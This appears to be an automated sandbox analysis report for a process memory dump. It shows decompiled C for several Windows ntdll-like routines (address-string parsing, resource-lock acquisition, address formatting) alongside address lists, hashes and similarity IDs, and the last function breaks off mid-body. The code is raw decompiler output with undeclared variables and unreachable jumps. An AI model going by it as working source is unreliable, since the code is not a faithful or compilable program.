Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 6dad5cd6323db766408e7ec945a7acd3e24d91867e51392735d54755b4bf6968
Instruction ID: 264fbb8a8739196c298eabb004e0e084f6b02b205d68a0bbbff351df7b1267b5
Opcode Fuzzy Hash: 6dad5cd6323db766408e7ec945a7acd3e24d91867e51392735d54755b4bf6968
Instruction Fuzzy Hash: 3D419771A8421D7BDF20AAA4DC86FEAB3BCAF54700F0005A9B615F6191EA709B458F61

Uniqueness

Uniqueness Score: -1.00%

Function 00930B15, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00930B15(intOrPtr* _a4, char _a7, intOrPtr* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _t108;
				void* _t116;
				char _t120;
				short _t121;
				void* _t128;
				intOrPtr* _t130;
				char _t132;
				short _t133;
				intOrPtr _t141;
				signed int _t156;
				signed int _t174;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr _t180;
				void* _t183;

				_t179 = _a4;
				_t141 =  *_t179;
				_v16 = 0;
				_v28 = 0;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v32 = 0;
				_v20 = 0;
				if(_t141 == 0) {
					L41:
					 *_a8 = _t179;
					_t180 = _v24;
					if(_t180 != 0) {
						if(_t180 != 3) {
							goto L6;
						}
						_v8 = _v8 + 1;
					}
					_t174 = _v32;
					if(_t174 == 0) {
						if(_v8 == 7) {
							goto L43;
						}
						goto L6;
					}
					L43:
					if(_v16 != 1) {
						if(_v16 != 2) {
							goto L6;
						}
						 *((short*)(_a12 + _v20 * 2)) = 0;
						L47:
						if(_t174 != 0) {
							E00908980(_a12 + 0x10 + (_t174 - _v8) * 2, _a12 + _t174 * 2, _v8 - _t174 + _v8 - _t174);
							_t116 = 8;
							E008FDFC0(_a12 + _t174 * 2, 0, _t116 - _v8 + _t116 - _v8);
						}
						return 0;
					}
					if(_t180 != 0) {
						if(_v12 > 3) {
							goto L6;
						}
						_t120 = E00930CFA(_v28, 0, 0xa);
						_t183 = _t183 + 0xc;
						if(_t120 > 0xff) {
							goto L6;
						}
						 *((char*)(_t180 + _v20 * 2 + _a12)) = _t120;
						goto L47;
					}
					if(_v12 > 4) {
						goto L6;
					}
					_t121 = E00930CFA(_v28, _t180, 0x10);
					_t183 = _t183 + 0xc;
					 *((short*)(_a12 + _v20 * 2)) = _t121;
					goto L47;
				} else {
					while(1) {
						_t123 = _v16;
						if(_t123 == 0) {
							goto L7;
						}
						_t108 = _t123 - 1;
						if(_t108 != 0) {
							goto L1;
						}
						_t178 = _t141;
						if(E009306BA(_t108, _t141) == 0 || _t135 == 0) {
							if(E009306BA(_t135, _t178) == 0 || E00930A5B(_t136, _t178) == 0) {
								if(_t141 != 0x3a) {
									if(_t141 == 0x2e) {
										if(_a7 != 0 || _v24 > 2 || _v8 > 6) {
											goto L41;
										} else {
											_v24 = _v24 + 1;
											L27:
											_v16 = _v16 & 0x00000000;
											L28:
											if(_v28 == 0) {
												goto L20;
											}
											_t177 = _v24;
											if(_t177 != 0) {
												if(_v12 > 3) {
													L6:
													return 0xc000000d;
												}
												_t132 = E00930CFA(_v28, 0, 0xa);
												_t183 = _t183 + 0xc;
												if(_t132 > 0xff) {
													goto L6;
												}
												 *((char*)(_t177 + _v20 * 2 + _a12 - 1)) = _t132;
												goto L20;
											}
											if(_v12 > 4) {
												goto L6;
											}
											_t133 = E00930CFA(_v28, 0, 0x10);
											_t183 = _t183 + 0xc;
											_v20 = _v20 + 1;
											 *((short*)(_a12 + _v20 * 2)) = _t133;
											goto L20;
										}
									}
									goto L41;
								}
								if(_v24 > 0 || _v8 > 6) {
									goto L41;
								} else {
									_t130 = _t179 + 1;
									if( *_t130 == _t141) {
										if(_v32 != 0) {
											goto L41;
										}
										_v32 = _v8 + 1;
										_t156 = 2;
										_v8 = _v8 + _t156;
										L34:
										_t179 = _t130;
										_v16 = _t156;
										goto L28;
									}
									_v8 = _v8 + 1;
									goto L27;
								}
							} else {
								_v12 = _v12 + 1;
								if(_v24 > 0) {
									goto L41;
								}
								_a7 = 1;
								goto L20;
							}
						} else {
							_v12 = _v12 + 1;
							L20:
							_t179 = _t179 + 1;
							_t141 =  *_t179;
							if(_t141 == 0) {
								goto L41;
							}
							continue;
						}
						L7:
						if(_t141 == 0x3a) {
							if(_v24 > 0 || _v8 > 0) {
								goto L41;
							} else {
								_t130 = _t179 + 1;
								if( *_t130 != _t141) {
									goto L41;
								}
								_v20 = _v20 + 1;
								_t156 = 2;
								_v32 = 1;
								_v8 = _t156;
								 *((short*)(_a12 + _v20 * 2)) = 0;
								goto L34;
							}
						}
						L8:
						if(_v8 > 7) {
							goto L41;
						}
						_t142 = _t141;
						if(E009306BA(_t123, _t141) == 0 || _t124 == 0) {
							if(E009306BA(_t124, _t142) == 0 || E00930A5B(_t125, _t142) == 0 || _v24 > 0) {
								goto L41;
							} else {
								_t128 = 1;
								_a7 = 1;
								_v28 = _t179;
								_v16 = 1;
								_v12 = 1;
								L39:
								if(_v16 == _t128) {
									goto L20;
								}
								goto L28;
							}
						} else {
							_a7 = 0;
							_v28 = _t179;
							_v16 = 1;
							_v12 = 1;
							goto L20;
						}
					}
				}
				L1:
				_t123 = _t108 == 1;
				if(_t108 == 1) {
					goto L8;
				}
				_t128 = 1;
				goto L39;
			}

0x00930b21
0x00930b24
0x00930b27
0x00930b2a
0x00930b2d
0x00930b30
0x00930b33
0x00930b36
0x00930b39
0x00930b3e
0x00930c65
0x00930c68
0x00930c6a
0x00930c6f
0x0095eb42
0x00000000
0x00000000
0x0095eb48
0x0095eb48
0x00930c75
0x00930c7a
0x0095eb54
0x00000000
0x00000000
0x00000000
0x0095eb5a
0x00930c80
0x00930c84
0x0095eb98
0x00000000
0x00000000
0x0095eba6
0x00930cb8
0x00930cba
0x00930cd3
0x00930cda
0x00930ce4
0x00930ce9
0x00000000
0x00930cec
0x00930c8c
0x0095eb63
0x00000000
0x00000000
0x0095eb70
0x0095eb75
0x0095eb7d
0x00000000
0x00000000
0x0095eb8c
0x00000000
0x0095eb8c
0x00930c96
0x00000000
0x00000000
0x00930ca2
0x00930cac
0x00930cb4
0x00000000
0x00000000
0x00930b44
0x00930b47
0x00930b49
0x00000000
0x00000000
0x00930b4f
0x00930b50
0x00000000
0x00000000
0x00930b56
0x00930b62
0x00930b7c
0x00930bac
0x00930a0f
0x0095eaaa
0x00000000
0x0095eac4
0x0095eac4
0x00930bd0
0x00930bd0
0x00930bd4
0x00930bd9
0x00000000
0x00000000
0x00930bdb
0x00930be0
0x0095eb0e
0x00930a1a
0x00000000
0x00930a1a
0x0095eb1a
0x0095eb1f
0x0095eb27
0x00000000
0x00000000
0x0095eb36
0x00000000
0x0095eb36
0x00930bea
0x00000000
0x00000000
0x00930bf6
0x00930c00
0x00930c03
0x00930c0b
0x00000000
0x00930c0b
0x0095eaaa
0x00000000
0x00930a15
0x00930bb6
0x00000000
0x00930bc6
0x00930bc6
0x00930bcb
0x00930c15
0x00000000
0x00000000
0x00930c1d
0x00930c20
0x00930c21
0x00930c24
0x00930c24
0x00930c26
0x00000000
0x00930c26
0x00930bcd
0x00000000
0x00930bcd
0x00930b89
0x00930b89
0x00930b90
0x00000000
0x00000000
0x00930b96
0x00000000
0x00930b96
0x00930a04
0x00930a04
0x00930b9a
0x00930b9a
0x00930b9b
0x00930b9f
0x00000000
0x00000000
0x00000000
0x00930ba5
0x00930ac7
0x00930aca
0x0095eacf
0x00000000
0x0095eade
0x0095eade
0x0095eae3
0x00000000
0x00000000
0x0095eaf3
0x0095eaf6
0x0095eaf7
0x0095eafe
0x0095eb01
0x00000000
0x0095eb01
0x0095eacf
0x00930ad0
0x00930ad4
0x00000000
0x00000000
0x00930ada
0x00930ae6
0x00930c34
0x00000000
0x00930c47
0x00930c49
0x00930c4a
0x00930c4e
0x00930c51
0x00930c54
0x00930c57
0x00930c5a
0x00000000
0x00000000
0x00000000
0x00930c60
0x00930afb
0x00930afe
0x00930b02
0x00930b05
0x00930b08
0x00000000
0x00930b08
0x00930ae6
0x00930b44
0x009309f8
0x009309f8
0x009309f9
0x00000000
0x00000000
0x0095eaa0
0x00000000

APIs

__fassign.LIBCMT ref: 00930BF6
__fassign.LIBCMT ref: 00930CA2

Strings

:, xrefs: 00930BA9
:, xrefs: 00930AC7
., xrefs: 00930A0C

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: f93042f75d9a8919b30cf36c6e9a550797723b147552b4e69bd2222ce0f4854f
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: F7A1BC71D0030AEFDF24CF64C8657BEB7B9AF95305F28856AD882A7282D7349A41CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00930554, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00930554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x009d01c0;
									_push(_t144);
									_push(0);
									_t51 = E008EF8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = E00934FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									E00943F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									E00943F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E0097217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E00943F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									E00933915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x009d01c0;
												_push(_t138);
												_push(0);
												_t58 = E008EF8CC( *((intOrPtr*)(_t96 + 0x20)));
												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = E00934FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												E00943F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												E00943F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E0097217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												E00943F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												E00933915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E00915384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = E008EF970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														E00933915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = E008EF970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															E00933915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = E008EF970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = E00933915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E00915329(_t110, _t138);
																_t69 = E009153A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x0093055a
0x0093055d
0x00930563
0x00930566
0x009305d8
0x009305e2
0x009305e5
0x00000000
0x009305e7
0x009305e7
0x009305ea
0x009305f3
0x009305f3
0x00930568
0x00930568
0x00930568
0x00930569
0x00930569
0x00930569
0x0093056b
0x00000000
0x00000000
0x0095217f
0x00952183
0x0095225b
0x0095225f
0x00952189
0x0095218c
0x0095218f
0x00952194
0x00952199
0x0095219d
0x009521a0
0x009521a2
0x009521ce
0x009521ce
0x009521ce
0x009521d0
0x009521d6
0x009521de
0x009521e2
0x009521e8
0x009521e9
0x009521ec
0x009521f1
0x009521f6
0x00000000
0x00000000
0x009521f8
0x009521fb
0x00952206
0x0095220b
0x0095220c
0x00952217
0x00952226
0x0095222b
0x0095222c
0x0095222f
0x00952232
0x00952235
0x00952235
0x0095223a
0x0095223f
0x00952241
0x00952243
0x00952248
0x00952248
0x0095224d
0x0095224f
0x00952262
0x00952263
0x00952268
0x00952269
0x00952269
0x00952269
0x0095226d
0x00000000
0x00000000
0x00952276
0x00952279
0x0095227e
0x00952283
0x00952287
0x0095228a
0x0095228d
0x0095228f
0x009522bc
0x009522bc
0x009522bc
0x009522be
0x009522c4
0x009522cc
0x009522d0
0x009522d6
0x009522d7
0x009522da
0x009522df
0x009522e4
0x00000000
0x00000000
0x009522e6
0x009522e9
0x009522f4
0x009522f9
0x009522fa
0x00952305
0x00952314
0x00952319
0x0095231a
0x0095231d
0x00952320
0x00952323
0x00952323
0x00952328
0x0095232d
0x0095232f
0x00952331
0x00952336
0x00952336
0x0095233b
0x0095233d
0x00952350
0x00952351
0x00952356
0x00952359
0x00952359
0x0095235b
0x0095235d
0x00915367
0x0091536b
0x00915372
0x00000000
0x00000000
0x00000000
0x00000000
0x00952363
0x00952363
0x00952369
0x0095236a
0x0095236c
0x00952371
0x00952373
0x00000000
0x00952379
0x00952379
0x0095237a
0x0095237f
0x0095237f
0x00952385
0x00952386
0x00952389
0x0095238e
0x00952390
0x00915378
0x0091537c
0x00952396
0x00952396
0x00952397
0x0095239c
0x009523a2
0x009523a3
0x009523a6
0x009523ab
0x009523ad
0x00000000
0x009523b3
0x009523b3
0x009523b4
0x009523b9
0x009523ba
0x009523ba
0x009523bc
0x009523bf
0x00000000
0x00000000
0x00949153
0x00949158
0x0094915a
0x0094915e
0x00949160
0x00000000
0x00949166
0x00949166
0x00949171
0x00949176
0x00949176
0x00000000
0x00949160
0x009523c6
0x009523ce
0x009523d7
0x009523d7
0x009523ad
0x00952390
0x00952373
0x0095233f
0x0095233f
0x00000000
0x0095233f
0x00952291
0x00952291
0x00952293
0x00952295
0x0095229a
0x009522a1
0x009522a3
0x009522a7
0x009522a9
0x00000000
0x00000000
0x009522ab
0x009522ad
0x009522af
0x00000000
0x00000000
0x00000000
0x009522af
0x009522b1
0x009522b4
0x009522b4
0x009522b6
0x009153be
0x009153be
0x009153be
0x009153c0
0x00000000
0x00000000
0x009153cb
0x009153ce
0x009153d0
0x009153d4
0x009153d6
0x00000000
0x009153d8
0x009153e3
0x009153ea
0x009153ea
0x00000000
0x009153d6
0x00000000
0x00000000
0x00000000
0x00000000
0x009522b6
0x00000000
0x0095228f
0x00952349
0x0095234d
0x00952251
0x00952251
0x00000000
0x00952251
0x009521a4
0x009521a4
0x009521a6
0x009521a8
0x009521ac
0x009521b6
0x009521b8
0x009521bc
0x009521be
0x00000000
0x00000000
0x009521c0
0x009521c2
0x009521c4
0x00000000
0x00000000
0x00000000
0x009521c4
0x009521c6
0x009521c6
0x009521c8
0x00000000
0x00000000
0x00000000
0x00000000
0x009521c8
0x009521a2
0x00000000
0x00952183
0x0093057b
0x0093057d
0x00930581
0x00930583
0x00952178
0x00000000
0x00930589
0x0093058f
0x0093058f
0x00930583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00952206

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 009522FC
RTL: Re-Waiting, xrefs: 0095223A, 00952328
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 0095220E
RTL: Resource at %p, xrefs: 0095221D, 0095230B

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 5bac2ffc13fb144d662be6669fa16f61fbe03cf3b8748c2eaef6ea6fcbee22f5
Instruction ID: ca51e6844dad7edbf2558be4bd2a04dbf25a62ced0adc11364667baf96fc1ad3
Opcode Fuzzy Hash: 5bac2ffc13fb144d662be6669fa16f61fbe03cf3b8748c2eaef6ea6fcbee22f5
Instruction Fuzzy Hash: 5B5168357042016BEB14CB2ACC81F6733ADAFD5721F218229FD58DB386EA35EC458B90

Uniqueness

Uniqueness Score: -1.00%

Function 009314C0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E009314C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0x9d2088; // 0x77532a97
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E00927707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E009313CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E00927707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E00927707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E008F2340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E008FE1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x009314c0
0x009314cb
0x009314d2
0x009314d6
0x009314da
0x009314de
0x009314e3
0x0093157a
0x0093157a
0x009314f1
0x009314f3
0x0095ea0f
0x00000000
0x0095ea15
0x00000000
0x0095ea15
0x009314f9
0x009314f9
0x009314fe
0x00931504
0x0095ea1a
0x0095ea1f
0x0095ea21
0x0095ea22
0x0095ea27
0x0095ea2a
0x0095ea2a
0x00931515
0x00931517
0x0093156d
0x00931572
0x00931575
0x00931575
0x0093151e
0x0095ea50
0x0095ea55
0x0095ea58
0x0095ea58
0x0093152e
0x00931531
0x00931533
0x00000000
0x00931535
0x00931541
0x00931549
0x00931549
0x00931533
0x009314f3
0x00931559

APIs

___swprintf_l.LIBCMT ref: 0095EA22

Part of subcall function 009313CB: ___swprintf_l.LIBCMT ref: 0093146B
Part of subcall function 009313CB: ___swprintf_l.LIBCMT ref: 00931490

___swprintf_l.LIBCMT ref: 0093156D

Strings

]:%u, xrefs: 0095EA47
%%%u, xrefs: 00931564

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: c5d1468fcb260e1fd07b6009ff392c588422e2f6b0073bac1651103e43bdd0fe
Instruction ID: 048c44b906a41b6a0fcfd0b54f49a6894cb1893b02c90f87deaf5d31aaf252b4
Opcode Fuzzy Hash: c5d1468fcb260e1fd07b6009ff392c588422e2f6b0073bac1651103e43bdd0fe
Instruction Fuzzy Hash: 3521C3729002299BCF21EF68CC41AEAB3ACFB90700F544411FD46E3250EB759A588FE1

Uniqueness

Uniqueness Score: -1.00%

Function 009153A5, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E009153A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
